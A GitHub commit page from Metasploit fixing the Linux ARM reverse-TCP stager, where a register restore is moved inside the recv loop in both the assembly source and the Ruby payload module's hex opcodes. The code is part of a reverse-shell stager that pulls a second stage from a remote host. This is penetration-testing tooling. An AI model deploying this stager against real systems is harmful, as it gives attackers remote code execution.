Skip to content

Commit 289e95d

Browse files
authored
Land rapid7#19367, fix ARM stager restore r0 in loop
Land rapid7#19367, fix ARM stager restore r0 in loop
2 parents e801720 + cdc5122 commit 289e95d

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,10 +75,10 @@ _start:
7575
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
7676
add r7,#99 @ __NR_recv
7777
mov r1,r0 @ *buf
78-
mov r0,r12 @ sockfd
7978
mov r3,#0 @ flags
8079
@ remove blocksize from total length
8180
loop:
81+
mov r0,r12 @ sockfd
8282
ldr r2,[sp,#0]
8383
sub r2,#1000
8484
str r2,[sp,#0]

modules/payloads/stagers/linux/armle/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -77,9 +77,9 @@ def initialize(info = {})
7777
0x0a000012, # beq <failed>
7878
0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7
7979
0xe1a01000, # mov r1, r0
80-
0xe1a0000c, # mov r0, ip
8180
0xe3a03000, # mov r3, #0
8281
# loop:
82+
0xe1a0000c, # mov r0, ip
8383
0xe59d2000, # ldr r2, [sp]
8484
0xe2422ffa, # sub r2, r2, #1000
8585
0xe58d2000, # str r2, [sp]
@@ -89,7 +89,7 @@ def initialize(info = {})
8989
0xef000000, # svc 0x00000000 ; invoke recv
9090
0xe3500000, # cmp r0, #0
9191
0xba000005, # blt 817c <failed>
92-
0xeafffff5, # b 80dc <loop>
92+
0xeafffff4, # b 80dc <loop>
9393
# last:
9494
0xe2822ffa, # add r2, r2, #1000
9595
0xef000000, # svc 0x00000000 ; invoke recv

0 commit comments

Comments
 (0)